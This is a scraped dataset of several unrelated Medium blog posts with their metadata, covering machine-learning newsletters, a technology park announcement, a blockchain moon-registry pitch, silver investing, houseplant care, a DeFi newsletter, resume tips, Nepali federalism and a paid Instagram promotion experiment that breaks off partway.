has the best tutorials I have ever read on advanced fundamentals. People that are beginners, as well as multi-year experienced software engineers, can learn from the tutorials on this site. goggle.ai.hub has components (mostly docker images), documentation, tutorials, Jupyter notebooks, code, Tensorflow examples, Kuberflow pipeline example codes, and much more, all centered on Machine Learning. The goggle.ai.hub contents can be used on your local computers and the cloud. It is not specific to the Google Cloud Platform (GCP) .
has components (mostly images), documentation, tutorials, notebooks, code, examples, pipeline example codes, and much more, all centered on Machine Learning. The contents can be used on your local computers and the cloud. It is not specific to the . Kaggle is the site for Machine Learning competitions, all artifacts associated with the kaggle competitions, and various real-world domain datasets in Machine Learning. Many people have used the fast.ai package to learn machine learning techniques and that place them in the top 10% of any Kaggle competition.
is the site for Machine Learning competitions, all artifacts associated with the competitions, and various real-world domain datasets in Machine Learning. Many people have used the package to learn machine learning techniques and that place them in the top 10% of any competition. PapersWithCode will not stop you from searching GitHub for Python packages but will help you get the source code associated with a published machine learning paper. More critical, this community effort has both TRENDING and SOTA tabs. PapersWithCode is a fantastic compliment to arxiv Sanity Preserver.
The mission of Papers with Code is to create a free and open resource with Machine Learning papers, code, and evaluation tables. — https://paperswithcode.com/about
datasciencecentral.com does not have generally have the best blogs, but there may be a few gems for you here.
Other great machine learning blogs are:
Newsletters
TheSequence Scope is a free subscription while the Edge has a $50/year subscription fee. The logo and quote state their mission well.
TheSequence is an unusual way to learn and reinforce your knowledge about machine learning and artificial intelligence.
The Algorithm from MIT Technology is a weekly newsletter that summarizes the latest machine learning news.
The Algorithm is a newsletter for people who are curious about the world of AI. I’m here to help you cut through the nonsense and jargon to figure out what truly matters and where all this is headed. You’ll hear from me every Friday with updates and thoughts on the latest AI news and research (as well as some added magic and memes). — Karen Hao, Senior Reporter
The Batch is a weekly newsletter written by Professor Andrew Ng and is one of several products of deeplearning.ai.
Miscellaneous
These are useful podcasts, especially if you are in a situation where you can not read.
I find it useful to print these out. I am old school as you get Python doc snippets with a keystroke in most of the Python IDEs (Interactive Code Environments — code editors). | https://medium.com/@dr-bruce-cottman/26-useful-machine-learning-blogs-and-newsletters-to-increase-your-productivity-a5c4d171eaa4 | ['Bruce H. Cottman'] | 2020-12-26 08:45:42.683000+00:00 | ['Artificial Intelligence', 'Knowledge', 'Blog', 'Machine Learning', 'Data Science'] |
TPY Establishing Itself as a Leading Technology Park | In face of the challenges of the COVID-19 pandemic the TPY team has diligently worked to start the next phase of its evolution, supported with a significant investment from the City of The Hague and tremendous support from InnovationQuarter.
Our recently completed “TPY Community Center”, a place where companies who need flexible working facilities can access desks, offices, or meeting rooms, is the perfect place to connect with a unique and growing community of key individuals. Our community is made up of business entrepreneurs and specialists across all disciplines in the High Tech Manufacturing Industry, such as materials development, product development, and automation.
We also have our “TPY Scale Up and Innovation Center” for scale-up businesses to relocate to as they take their next steps in their business growth. TPY provides access to many high cost machines, tools, and know-how in order to relieve the financial burden put on early stage companies. We are also delighted that construction work has started on our “TPY Prototyping Center” where startups have access to tools and expertise to develop their initial products. The TPY Prototyping Center will be completed and open towards the end of February 2021.
Finally, and as equally significant, we are working on establishing our “TPY Academy’’ where we combine the needs of TPY companies for future talent with an opportunity for students to connect with TPY. As Students finish their education and start to formulate their career aspirations, students, via our TPY Academy, will have the opportunity to experience a broad spectrum of industries and companies. The many companies located in Ypenburg are developing a “Multi Company Internship Programme”, which we aim to have in place for 2021 to provide students with a wide range of internship experiences.
We are grateful for the support and encouragement of the city and other stakeholders here at TPY to be able to propel our ambition as we move forward in creating an environment where we are stronger together. A key role in our strategy is the tremendous talent we have access to by being so close to internationally recognised Universities and schools. We aspire to become the natural location for scale-ups in the region to move to as their businesses mature, as well as being a magnet for International businesses to relocate.
For more information, please contact:
Stephen Hands, Managing Director TPY
Mobile: +31621120083
Email: [email protected] | https://medium.com/@technologyparkypenburg/tpy-establishing-itself-as-a-leading-technology-park-1416f080174d | ['Technology Park Ypenburg'] | 2021-02-02 15:26:12.214000+00:00 | ['Manufacturing', 'Technology Park', 'Technology'] |
Moon Together(Solution to secure our Moon) | Moon Together(Solution to secure our Moon)
Episode 1. Earth
Shepherd boys get to raise a flock of sheep on a jointly owned meadow (Earth).
One day, while they are watching their sheep grazing, a thought crosses their mind.
‘It would be my loss if I have fewer sheep than others on the grazing field.’
‘It would be my gain if I have one or more sheep than others on the grazing field.’
‘I should put one or more sheep of mine on the grazing field’
Any reasonable person will come to the same conclusion.
‘ One more!’
‘ And another one!’
The shepherd boys keep putting more sheep on the grazing field even after the field turned into a barren field.
Episode 2.The Moon
In the end, the meadow has turned into a barren field.
One shepherd comes up with an idea of going to the island called by Moon.
Anybody can go to the island as it is an uninhabited place.
However, only this shepherd boy has a raft by which he can reach the island.
He loads his raft with his flock of sheep and goes to the island to feed them.
The other shepherds, watching this, are now bent on building their own rafts but only a few of them succeed. Those who have failed have no choice but to watch the barren field helplessly.
Question
Who has the ownership of the nearby island (the moon)?
On what grounds do the shepherd boys with rafts monopolize the grazing field on the moon?
Is there any solution to this?
Case Study
People in Deokdong Village, for 300 years, have been putting consistent efforts in taking good care of pine trees, which were not only used as firewood but also used as tributes for the king.
“ Excessive logging is prohibited.
When one cuts trees, the one shall pay the price for the tree
and when one violates the rule, the one should pay fines.”
Each tree has a name tag of the person in charge and the trees are taken care of by the whole village.
Tree-Keeping Book, the record of pine trees, has been passed down for 300 years.
The trees are registered under the name of the person in charge. The information is publicly disclosed and the whole community takes care of the trees in accordance with the rules set by the villagers.
Solution to the Moon Issue
Why do people steal toilet paper from public restrooms?
People should establish their own meadow management rules.
The entity which should take initiative in solving common land issues is not the government or the market but ‘the local community’.
We should make the story of the moon a comedy not a tragedy.
We need voluntary cooperation for solving common problems of mankind.
The solution is to add privatization to the concept of common land.
The moon is the common heritage of mankind.
The fate of the moon is not so much different from that of the island.
When it comes to the common heritage of mankind,
100% of the time, things would go as follows: Either nobody can develop the land or only selected countries or companies can take ownership of the land.
It is highly unlikely that all humans can enjoy the equal rights.
Look at the monopoly of wealth created by colonization of Latin America by European imperialists in the 15th-18th century.
Even for the sake of our future generation, the moon must not be centralized by certain organizations.
The concept of decentralization based on block chain technology should be applied to the moon so that mankind can claim shared ownership over the moon.
We should make a land registration map and participate in registration process.
We should raise our voice for our ownership.
By Moon Ownership Movement Headquarter | https://medium.com/dianaios/moon-together-solution-to-secure-our-moon-aa67d648e8d7 | ['Diana', "The World'S First Blockchain Moon Registry"] | 2018-08-21 00:04:53.033000+00:00 | ['Registry', 'Ehterium', 'Tragedy Of The Commons', 'Moon', 'Bitcoin'] |
5 Reasons Why Green & Silver May Be the New Black & Gold | 5 Reasons Why Green & Silver May Be the New Black & Gold
How the Green and 4th Industrial Revolutions could mean interesting prospects for the White Metal in the future
This post is based on another post I wrote for Towards Data Science, see the original post here.
1. Dwindling Supply
The global Silver supply (which comes mainly from mines) has been declining over the past several years; this can largely be attributed to low Silver prices — the low silver price means that Silver mines have been struggling to operate at a profit — leading to them committing less-and-less capital into exploratory projects and into increasing production. A spike in the Silver price could, therefore, prompt increases in supply, but this would take time.
Total Global Silver Supply by Year since 1977 (GoldSilver Blog Post, CPM Silver Yearbook)
Historical Silver Prices per year since 1969 (macrotrends.net)
2. Silver’s Physical Properties Make It Great for Solar Power
Silver is interesting as a precious metal, in that its demand extends far beyond merely its use as jewelry and as a store of value — rather, its physical properties make it highly sought after in industry.
Thermal & Electrical Conductivities of Several Metals (Left), and Silver Nanoparticles Biocide Solution (Right)
Silver has the highest electrical and thermal conductivity of any metal on the face of the Earth. Not only this, but the metal is also a rather well-known biocide — meaning: it kills bacteria. (Note that resistivity is the reciprocal of conductivity).
Silver has the highest electrical and thermal conductivity of any metal on the face of the Earth.
These properties — Silver’s high electrical conductivity in particular — mean that Silver is a very useful material to use in all sorts of electronics, including…Photovoltaic Solar Panels.
Silver is used extensively to produce solar panels
But two factors provide a definite threat to the unbridled increase in Silver demand due to solar: namely, thrifting and other-technology-related efficiency increases.
Thrifting is the process by which manufacturers try and cut down the amount of silver used so as to cut costs. Indeed, the amount of silver needed to produce a conductive silver paste for the PV industry may be almost halved — from 130mg per cell in 2016, to 65mg by 2028 — this is according to the report, on behalf of the Silver Institute. The amount of silver has already decreased to a much larger extent, from 400 to 130 mg from 2007 to 2016.
Below is the total global solar energy consumption, per year since the 1960s:
Total World Solar Energy Consumption, Per Year
And here is the amount of Silver used in Solar cells, a good visual representation of thrifting:
Silver Loadings in Solar PV Production, Per Year (The Silver Institute)
If we assume that that the Solar-Silver demand is directly proportional to both the Silver loadings, and the amount of Solar consumption —and forecast, scale, and combine the above graphs, things get interesting:
Proxy for the Solar-Silver demand, based on Global Solar Consumption & Silver Loadings per Solar Cell? Please leave comments if my logic has failed me!
Anyway. What it looks like, if that graph is to be trusted, is that we are at a turning point for the Solar-Silver demand. If there is indeed a physical limit to the amount of silver that will continue to be used in solar panels, then it seems that — assuming an increase of solar consumption equal or similar to our forecast — the demand for silver from the solar industry will begin to climb relatively rapidly in the future, particularly when it reaches this limit.
What it looks like, is that we are at a turning point for the Silver demand due to PV Solar.
Of course, some brainiac could always come up with a Solar panel design that doesn’t need Silver — but, judging my Silver’s physical conductive properties, and the fact that the Photoelectric effect (by which Solar panels generate energy) was thought up by Einstein himself, I am taking my chances — at least for now.
3. The Internet of Things
Buzz words or phrases are thrown around a lot these days, two of these phrases — “Internet of Things/IoT” and “The Fourth Industrial Revolution” —have enjoyed a comfortable position in the ‘Buzzword Top 10’ for a good while now.
I think that it is safe to say that electronics are here to stay and that electronic devices will certainly become more numerous in years to come (if recent years is anything to go by).
This is interesting because Silver’s global demand is driven primarily by industry, and Silver’s industrial demand is actually driven primarily by the electrical & electronics sector:
Global Silver Demand by Sector, by Year
Total Industrial Silver Demand by Industry, by Year
So if the number of electrical & electronic devices increases, it is a fair assumption that the Silver demand from this sector will too. This is, again, reliant on our hypothetical brainiac not inventing some material alternative to Silver — for use in these devices.
4. The Next Global Economic Downturn
According to several, prominent figures — such as billionaire investor and hedge fund manager Ray Dalio, and Michael Burry, the man who successfully predicted the 2008 housing market bubble — we are nearing another economic downturn.
According to Ray Dalio, The Economy is the Result of the Accumulation of Three Forces — watch on YouTube
Burry, in fact, has said that a downturn will be due to the fact that we may currently be in an ‘index bubble’, that which is similar in nature to the housing bubble in 2008:
“Passive investments are inflating stock and bond prices in a similar way that collateralized debt obligations did for subprime mortgages more than 10 years ago, Burry told Bloomberg News.” — Michael Burry, September 2019
Now I don’t know whether we are, indeed, in a bubble or not. Nor how far away the next downturn/recession is. But I do assume that we haven’t had our last one; and what happens during an economic downturn? The answer is that investors flock to precious metals — like Silver — and this would mean a gargantuan increase in the Silver demand.
5. (Near)Future Technologies
The future holds some exciting new prospects, innovations, and technologies — many of which could make good use of Silver, again due to its excellent physical properties.
Electric Vehicles
I know that Electric vehicles are not a technology of the distant future, and are indeed here already; but they definitely still have a lot of room in the market, into which to grow.
Due to its high electric conductivity, Silver is widely used in and around the electric powertrain and other applications that are increasingly featured in hybrid Internal Combustion Engine (ICE) cars and Electric Vehicles (EVs) alike.
Silver Demand in the Automotive Industry, Silver Institute
Water Treatment & Space Exploration
Silver is a well know, and broad-spectrum biocide, proving to be effective in quashing a growing list of bacterial threats, including legionnaire’s disease, E. Coli, Streptococcus, and MSRA; these microbes account for a large proportion of germs that we encounter on a daily basis.
Although the WHO World Health Organisation has declared that — in its current applications — that Silver is “not an effective disinfectant for drinking water”, developments in the field nanotechnology and the use of Silver Nanoparticles may see this change in upcoming years. Recent studies have shown that silver loss from Ag (Silver) Nanoparticle sheets were lower than the standards for drinking water put forward by both WHO and the Environmental Protection Agency (EPA), with the conclusion that filtration through paper deposited with Ag Nanoparticles could be an effective emergency water treatment. In addition to this, recent studies have been done investigating the plausibility of using Silver as a biocide for spacecraft water systems. In fact, NASA is considering silver as the future biocide for exploration.
To summarise; if you, like Michael Burry believe that the future will bring a considerable shortage of accessible freshwater — and that this same future will see a drastic increase in space exploration and electric cars, you may just want to hedge your bets on this fascinating metal. | https://medium.com/welded-thoughts/5-reasons-why-green-silver-may-be-the-new-black-gold-f13633b079cf | ['Peter Turner'] | 2019-12-03 04:18:04.199000+00:00 | ['Data Science', 'Renewable Energy', 'Money', 'Solar Energy', 'Investing'] |
Let’s Talk Houseplants | 6 Keys Factors for Houseplants
If you’re willing to take a few extra minutes to note these factors whenever caring for your houseplant, then you’ll have a much higher chance for success. Remember that plants are just like people with different needs and personalities (oh yes, some of them can be complete divas).
Light
Before buying your plant, look at its light requirements and then visualise your home. Any spaces come to mind? Also, look online for where the plant is normally grown in the wild as this is a good indicator for how much light it needs.
In-direct light: direct sun might scorch the leaves, so place your plant off to the side of a brightly lit room.
Direct light: this plant will normally need a minimum amount of bright direct sunlight to survive.
Shade loving: The corner of a room away from a window is fine; they’re not fussy. However, this doesn’t mean place them in complete darkness.
2. Water
Over-watering is the #1 killer for houseplants. Surprisingly, it’s one the easiest aspects of plant care to master and just needs a few simple considerations.
Stick your finger in about 1 inch into the soil. If it’s dry, then add some water. If it’s wet, then leave it to dry. If you’re not sure whether to water or not, it’s always safer to wait longer between watering. Plants are surprisingly resilient and can bounce back much quicker than you think.
Always check your plant’s watering requirements. In fact, some plants require hardly any water at all since their natural environments are arid climates. For example, I have a Mother-In-Laws Tongue (Sansevieria trifasciata) and it only requires watering once per month.
Pick one day of the week as your dedicated watering day so that you remember to ‘make your rounds’. I, personally, pick Sundays as it’s a great way to end the week, wind down, and check on how my plants are doing.
Watering changes with the seasons. I stick with the following schedule since it seems to work for me. However, do what works best for you (again, use the fingertip method and you should be fine).
Spring = once every 2 weeks Summer = once per week Autumn = once every 2–3 weeks Winter = once every 3–4 weeks
Higher temperature equals higher evaporation rate which means more watering. Lower temperatures equal lower evaporation rates which means less watering and higher chance for root rot.
3. Temperature/Humidity
Houseplants like a certain temperature range since that’s the native climate they’re use to, and because of this they have developed certain adaptations. For example, consider the common fern and where it comes from. Ferns are most abundant in the tropics which normally has hot and humid weather, so a dry and cold room with indirect light won’t be ideal. Therefore, consider putting your fern in the bathroom by a bright window. Alternatively, giving it a daily mist of water will work fine.
4. Food
This factor often gets missed since we assume that watering is equivalent to ‘feeding’ the houseplant. Again, remember that plants are just like humans which also need food. Therefore, check the plant’s instructions for how often you need to feed them with a liquid fertiliser. This will vary from plant to plant: some may need it once a week during the growing season (i.e., spring/summer) and others may only need it only once or twice per year.
5. Pests
For the untrained eye, this is slightly more difficult to identify if you’re not sure what you’re looking for. Some of the telltale signs of pest damage can come from inspecting the leaves. Are they discoloured, curling, wilting, unusual dots on the underside of the leaves? While this isn’t a definitive list, I would recommend searching for common pests for your chosen plant and keeping an eye out.
6. Drainage
I can’t tell you how much I cringe when I walk through stores that sell plants pots without a drainage hole on the bottom. It’s almost as if retail stores want people to kill their plants and buy more. Truthfully, they’re doing a disservice by not including drainage as it deters new plant parents from wanting to grow more. Drainage is hugely important to houseplants since the water you give them needs to have a place to escape. If you’re stuck with a pot with no drainage hole on the bottom, then you’re opening your plant up to root rot. On the up-chance that your pot has a drainage hole, then simply add a small tray with (or without) small pebbles from your backyard on the bottom to lift the pot off the tray since this will add an airflow.
This is where where over watering and no drainage are a death wish for houseplants. If you’ve watered your plants in this scenario, the water sits on the roots with no way to evaporate. Since you can’t see this happening from above, you assume it’s dry beneath the surface since you’ve performed the finger test. Eventually, the roots are going to get soggy and rot away causing irreversible damage to your plant. Root rot isn’t entirely untreatable, but you have to immediately recognise signs from the leaves so that you know to act. | https://medium.com/@veggie-gardener-matt/lets-talk-houseplants-79e60b16d55a | ['Veggie Gardener Matt'] | 2020-12-07 18:05:50.838000+00:00 | ['Houseplants', 'Indoor Plants', 'Gardening', 'Tips', 'Mental Health'] |
Governance is Live on Mainnet, ETHGlobal DeFi Hackathon, MYKEY Q&A | Welcome to the Compound newsletter. Join the community discussion on Discord or Twitter!
Compound Governance is now Live
Compound Governance is now live. As of April 16th, the Compound team is no longer the administrator of the protocol; instead, all future modifications to the protocol will be proposed and voted on by the community. This is a milestone on the path to fulfilling our vision of an open protocol that can evolve in entirely new ways.
The community has put together a forum for open discussion on protocol changes. See compound.comradery.io to collaborate on proposals before you vote. In order to get started voting on proposals, see the Governance Guide — How To Vote on a Proposal.
Developers are highly encouraged to start building their own tools and interfaces to participate in governance of the protocol. For example, anyone can now build their own interface similar to the governance explorer on the Compound website.
To get started building, see the Compound Governance Quick Start Guide on our blog. It includes links to a GitHub repository that has some open source examples.
Compound Voice AMA
In other Compound news, we held our first, experimental live-voice AMA. Robert Leshner, co-founder and CEO of Compound, answered community questions in our Discord. There were lots of great questions about what the future holds now that the protocol is governed by the community. We also got a sneak peek of the first upcoming governance proposal, which we’ll likely see in the next week. Here is an MP3 download link of the AMA recording, in case you missed it.
Compound is Sponsoring ETHGlobal’s Hack Money Virtual DeFi Hackathon
ETHGlobal, which hosts some of the most popular in-person Ethereum hackathons, is hosting its first virtual event, Hack Money. Starting in May, Hack Money is a DeFi-themed Ethereum hackathon, with more than $25k worth of prizes.
There will be 2 Compound bounties up for grabs, each worth $1000 of cUSDC:
Bounty #1 will go to the team that creates the best project that implements borrowing through Compound. This project can be an SDK, API, or application. See our Borrowing Quick Start Guide for an introduction to developing borrowing integrations.
Bounty #2 will go to the team that creates the best project that implements Compound governance. See our Governance Quick Start Guide for an introduction to developing governance integrations.
Hackathon participants can ask technical questions in the Compound Discord #development channel.
Robert Leshner and Calvin Liu will be hackathon judges and you’ll also see them on speaker panels. Registration for the event is now closed, but stay tuned for more announcements.
MyKey Q&A
MYKEY provides a handy and secure smart contract wallet on multiple blockchains, to lower barriers and enable mass adoption.
In the interest of making access to blockchains easier, MYKEY provides key management and handling of gas fees, so developers can concentrate on the core of the application.
What don’t people know about MYKEY?
Our smart contract logic is upgradable, transparent, and secure. We publish the contract upgrade reason and open source code along with 3rd-party security audits. These are published to the community in advance. When a contract is deployed features need to wait 4 days before activation. Here’s a link to the MYKEY Ethereum documentation.
MYKEY grew from 0 to 13000 signups on Ethereum in 3 months.
What do developers love about MYKEY?
MYKEY offers free network fees and free transaction quota for every user. We also have documentation to help developers get started using MYKEY in their app.
What’s different about your Compound implementation?
Multi-Operation Transactions. Usually, when a new user deposits an ERC-20 asset into the Compound protocol, two signatures are needed for two transactions — approve and deposit. MYKEY wraps the two operations into one single, atomic transaction. This way, the user only needs to sign one transaction to deposit an asset, bringing a smoother experience.
Ricky Shi, Co-founder & COO, MYKEY
More Links & Discussions
Markets Update
Current supply is at ~$117 million from ~18,000 unique addresses. In the past seven days, approximately $36 million (gross) was added to Compound, in almost 5,300 transactions. About 58% of this volume was DAI, 23% was ETH, and 18% was USDC.
Open borrowing is at ~$27 million from ~1700 unique addresses. In the past seven days, approximately $5 million (gross) was borrowed from Compound. About 70% of this volume was DAI, 18% was USDC, and 11% was ETH.
For live figures please refer to our Markets page.
Tweet of the Week
About Us
KEY GROUP: https://keygroup.me/
MYKEY Web: https://mykey.org/
BIHU: https://bihu.com/people/1133973
Telegram: https://t.me/mykey_lab
Twitter: https://twitter.com/mykey_lab
Medium: https://medium.com/mykey-lab
Github: https://github.com/mykeylab
Youtube: MYKEY Laboratory | https://medium.com/mykey-lab/governance-is-live-on-mainnet-ethglobal-defi-hackathon-mykey-q-a-d401bee931a5 | [] | 2020-06-24 09:55:22.248000+00:00 | ['Eos', 'Announcements', 'Smart Contracts', 'Ethereum'] |
33 Stand-Out Phrases to Freshen Up Your Resume | If I asked you to list 10 words that describe your personal brand to include on your resume could you do it? You might think it’s an easy task, but the numbers say it’s pretty difficult.
Would you be surprised to hear that while 92% of people *think* they’re self-aware, in reality only 15% of people actually are self-aware?
What does this have to do with your resume and job search, I hear you asking?
Well . . . a lot actually.
In this article, I’m going to discuss:
– the importance of self-awareness and its role in writing your resume
– where to uncover accurate phrases that best reflect your accomplishments
– how to incorporate these memorable phrases into your resume
– swipeable phrases that you can use for inspiration for your own resume
The Importance of Self-Awareness
Tasha Eurich, author of the book Insight reveals, “Self-awareness is critical for career success. People who are more self-aware tend to perform better at work, get more promotions and lead more effectively.”
When you’re aware of your talents, skills, unique differentiators, and strengths, you have a word bank to draw from when writing your resume, cover letter, and LinkedIn profile.
If you lack awareness of your strengths and differentiators it becomes virtually impossible to create a resume that will stand out from similarly qualified candidates.
Before you can articulate what makes you a great hire, you have to understand what makes you a great hire–which requires self-awareness.
If you have not read Emotional Intelligence 2.0 or taken the EQ quiz, I encourage you to do so. My favorite aspect of the quiz is that it provides you with a list of actionable steps you can take to heighten your EQ. They’re simple and doable like “greet people by name” but they help you strengthen your EQ in the areas you need it most.
Just so you know, I don’t earn commission from recommending the book or quiz. I just think it’s really that good.
Consider it taking your first step towards greater self-awareness. Your future salary is going to thank you.
Where to Uncover Hidden Gems That Convey Your Accomplishments
The foundation of the resume writing process in our work with clients is uncovering what makes them unique.
That’s why we always start the resume writing process with an in-depth client interview. We’re able to dig deep into our client’s career history and painstakingly search for:
Repeated successes
Recurring themes
Strengths
Unique differentiators
Examples and stories of value added
Numerical data to back up and give credibility to accomplishments
If you’re working on your resume, these six areas are where you’ll find your secret sauce.
Your key differentiators–the content employers crave most in resumes–is just waiting to be discovered.
To help you root out your personal brand, look for areas of consistency and themes that recur no matter where you go.
Remember those little black chalkboard easels we had as kids? In second grade, I would gather my younger cousins around mine, write C-A-T on it, and teach them to read.
The desire to teach has stayed with me throughout my entire life.
My favorite articles to write are “how to’s.” Much to my husband’s chagrin, I obsessively collect and share information. You don’t want to see my bookshelves.
My top two Clifton Strengths are Input and Learner. I’m a big ol’ information-collecting nerd.
Educating is one of my greatest strengths, and even though I am not a school teacher I still use my experience and knowledge to educate every single day.
Now it’s your turn . . .
Where are there recurring themes in your life?
Are you an achiever?
Diplomatic?
Take charge?
A go-getter?
A powerful negotiator?
Ask yourself:
What am I known for?
What do my supervisors, colleagues, friends, and family members come to me for?
What am I most proud of in my career?
What brings me immeasurable fulfillment?
Try to create a list of at least ten strengths, talents, or skills.
Next search for examples of these strengths in action.
What challenge were you facing when this strength was utilized?
How did you use the strength to take action?
What happened as a result of your efforts?
Before you know it you have the key ingredients to powerful resume bullets that reflect your value.
How to Incorporate Noteworthy Phrases into Your Resume
I see the same phrases repeated on hundreds of resumes. (I’m looking at you “responsible for” and “duties included”!)
The problem with these worn-out words is that they carry no weight or power.
They’re weak and vague.
One surefire way to pack more punch in your resume is to switch out the tired, overused phrases with strong action verbs that tell your story.
Strong action verbs are perfect to energize your resume bullets so they “WOW” employers.
Extra credit: they’re also great for leading into results-based statements.
An example of an accomplishment bullet using action verbs and stand-out phrases could sound like:
Turned around $750M budget deficit into a $300K surplus within 1 year by creating infrastructure, optimizing expenses, and cultivating strategic partnerships with 21 hospitals and medical device manufacturers.
When we work with clients we use a C.A.R. formula to help us create memorable bullets.
C — Challenge
A — Action
R — Result
I also often recommend this formula to my LinkedIn connections when they ask for resume writing advice:
(Action verb)(noun)(quantifiable metric or result)(action you took to achieve result)
An example of this formula filled out as a resume bullet would sound something like this:
Boosted revenue 64.5% by designing and implementing strategies to cut costs, improve efficiencies, and optimize production of 325 styles and 6.2M SKUs.
Try the formula out in your resume as you work to write about your accomplishments.
33 Swipeable Phrases to Inspire You
I spoke with a senior-level job seeker last week who confided to me how hard it was to assess her own work.
She hesitantly shared, “I struggle to convey my value.”
I get it. Boy, do I get it.
Most of us struggle to explain our value. We know we’re talented and competent, but conveying that on a resume suddenly induces all kinds of writer’s block and analysis paralysis.
If you want to reflect what you’ve accomplished and point out your value to employers, try using a few of these proven resume phrases:
The key is not to throw all of them into your resume. You want to use these sparingly so that they’ll have maximum impact.
Read through the list and choose 2–3 that reflect you most accurately.
Include one in your career summary and another in your “notable accomplishments” section in the top third of your resume.
These 33 phrases are high-impact and sure to grab attention–but only if you choose ones that accurately reflect YOU and your personal brand.
Employers will be looking for evidence that you possess these qualities as they read through the remainder of your resume.
That’s where the formula comes in that I shared with you earlier in the article. Use that formula to create bullets that prove you possess these qualities and characteristics.
If you need more inspiration for resume power words, I wrote this article with 178 words and phrases that you can incorporate into your resume.
You might also like this “how-to” for using action verbs or this one on resume keywords.
Phew… we’ve covered a lot in a short time.
We discussed the importance of self-awareness and its effect on your career (and earnings!). That was certainly a wake-up call.
I showed you where to uncover phrases that best reflect your accomplishments and how to incorporate these memorable words into your resume, and gave you a list of the top swipeable phrases we use with our own clients so you can use them for inspiration in your resume.
Want to binge-read more resume articles?
Check out this guide we use as an internal reference tool for career summaries when we write our client’s resumes.
Let’s be real for a second . . . with errands to run, meals to cook, the kids’ practices, work, and the 100 other plates you’re spinning, trying to DIY may be too much.
Whether you’re over trying to write your own resume or discouraged with the lack of responses from your applications, we’re here to help.
We equip strong, smart women like you with knockout career marketing materials so you can get in front of hiring managers, communicate your value, and land the position you deserve.
Ready to punch job search frustration in the face?
Me too.
Let’s do this.
Other articles you might like: | https://medium.com/@greatresumes/33-stand-out-phrases-to-freshen-up-your-resume-226da951eb03 | ['Jessica H. Hernandez'] | 2020-12-15 14:50:30.525000+00:00 | ['Job Hunting', 'Job Search', 'Resume', 'Resume Writing Tips', 'Job Search Tips'] |
Path Dependency and Nepali Federalism | Path dependency is a much discussed phenomena in the world of politics — referring to choices made by entities which have been influenced by previous experiences and decisions [1]. Decision makers are predisposed towards certain choices as they are influenced by the past and generally do not consider the current situation. In other words, history matters.
For example, the nation of Russia has been historically invaded from their western front. The French Invasion of Russia in 1812 led by Napoleon and Operation Barbarossa led by Hitler during the Second World War left a sense of vulnerability along their western front. This resulted in a decision by Stalin to use his Red Army to coerce the creation of communist satellite states among Eastern European nations. The rationale behind this was to create a buffer zone to deter potential future invasion along the western frontier.
Path Dependency can be witnessed here as this was a decision formulated due to the historical past of the nation. Path dependency can also take place on an individual level. A son of a blacksmith might continue to extend the family tradition by following his father’s footsteps as opposed to deviating and finding another career. Similar to these examples, Nepal’s history makes the nation prejudiced towards federalism and this article will aim to explain why.
The village of Ghandruk in Gandaki (Photo Credit: Raunak Mainali)
The inclination of Nepal towards federalism may not be apparent at first glance. Prior to the 2015 constitution, Nepal had been a unitary state. Whether it was the democratic government, absolute monarchy, constitutional monarchy or even authoritarianism under the Rana Prime-Ministers, Nepal functioned under a unitary structure. Despite more than two centuries of existence as a unitary nation, it follows that Nepal’s history still favors a federal framework.
Perhaps the most glorified figure in Nepali history, Prithvi Narayan Shah is credited for the unification of Nepal. His conquest is often a convenient starting point to the nation’s history and anything prior does not receive similar attention. Before his conquest, the area of Nepal as we know it today existed as a fragmented composite of small state-bodies. There was a total of 54 states in Nepal, each ruled autonomously by Kings and other rulers [2].
These states included Prithvi Narayan Shah’s own kingdom of Gorkha as well as others such as Mustang, Tanahun, Makawanpur, Bijayapur. The then kingdoms of Bhaktapur, Lalitpur and Kantipur made up the modern-day Kathmandu Valley. Most of these states do still exist today, carved out to form provincial, zonal, or district-level local governments, echioing their histories of having spent significant proportions of their existences as independent kingdoms pre Prithvi Narayan Shah era.
The similarities between pre-unification Nepal has glaring similarities to a federalist structure. As there was an absence of a central government, these states were self-governing and therefore issues were dealt with on localized levels. This meant that even after unification, there was difficulty forcing a central government in states that functioned autonomously. The hostile geography of Nepal has also been a historical obstacle for a Kathmandu government as administering remote areas is incredibly challenging. The hills and mountains that Nepal is so synonymous for are difficult to traverse and left remote areas disenfranchised from Kathmandu. The invention of air travel, motor vehicles as well as communication methods like phones and internet has certainly provided a solution for more efficient governance in isolated areas. However, former states such as Mustang even had monarchs until 2008 which provided a substitute to the central government in Kathmandu. The alienation faced by states for whatever reason meant that their local systems of governance were consistently utilized.
The Nepal government at times have also acknowledged the limitations of their centralized government and have made efforts to decentralize and promote local governments. The democratization in the 1990s led to more policies favoring local governance such as Local Self-Governance Act 1999 [3]. The act aimed to include women and disadvantaged communities and planned more development at the local level. Whilst the effectiveness of this act itself is debated, the recognition from Kathmandu for the need of devolution of power certainly suggests the limitations of a unitary government in Nepal [4].
The transformation of Nepal into a federal structure was inevitable. An exploration of the history of pre-unification Nepal as well as a unified Nepal shows us that self-governance and local governance were commonplace. These experiences have made the nation more inclined towards federalism and therefore it would be accurate to state that this is due to path dependence.
Notes:
[1] Page, S., 2006. Path Dependence. Quarterly Journal of Political Science, 1(1), pp.87–115.
[2] Adhikari, B., 2017. Baaisi Tatha Chaubisi Rajyaharuko Sankchipta Itihas. Kathmandu: Navodit Haamro Pustak Bhandar.
[3] Kharel, S., 2019. Local Governance and Rural Development Practices in Nepal. NUTA Journal, 6(1–2), pp.84–94.
[4] High Level Decentralization Coordination Committee (HLDCC). (1996). Report of Decentralization and Local Self-Governance. Kathmandu.
The views and opinions expressed in the piece above are solely those of the original author(s) and contributor(s). They do not necessarily represent the views of Governance Monitoring Centre Nepal and/or Centre for Social Change. | https://medium.com/governance-monitoring-centre-nepal/path-dependency-and-nepali-federalism-18e36d25244e | ['Raunak Mainali'] | 2020-12-04 09:06:48.633000+00:00 | ['Governance', 'Nepal', 'History', 'Politics', 'Federalism'] |
I Paid a Big Instagram Page for a Feature Post | One day during lockdown I was bored and browsing through Instagram. I follow a few travel pages, posting paid features because the photos on their feeds are beautiful. I was curious why so many people pay to have their photos posted by them.
So I opened one of my favorite travel pages and clicked on the link in the bio. I had to give them my email and the name of my Instagram. After a few hours, I received an email saying that they can post my photos. There was another link and it lead me to the prices. The price for 1 photo was 19$, for 3 — 49$. This Instagram page has 1M followers and the posts get 3–20K likes on average.
I also checked out another one with more than 5M followers and to have your photo posted by them for just 1-hour costs 99$. This was too much for my current experiment.
All those pages promise hundreds, if not thousands of new followers. We all know that nothing is that simple. I decided to give it a shot and paid for 1 photo.
Two days later the photo was posted on their feed. It got hundreds and quickly after that — thousands of likes… So you might think that a lot of people checked out my profile and then followed.
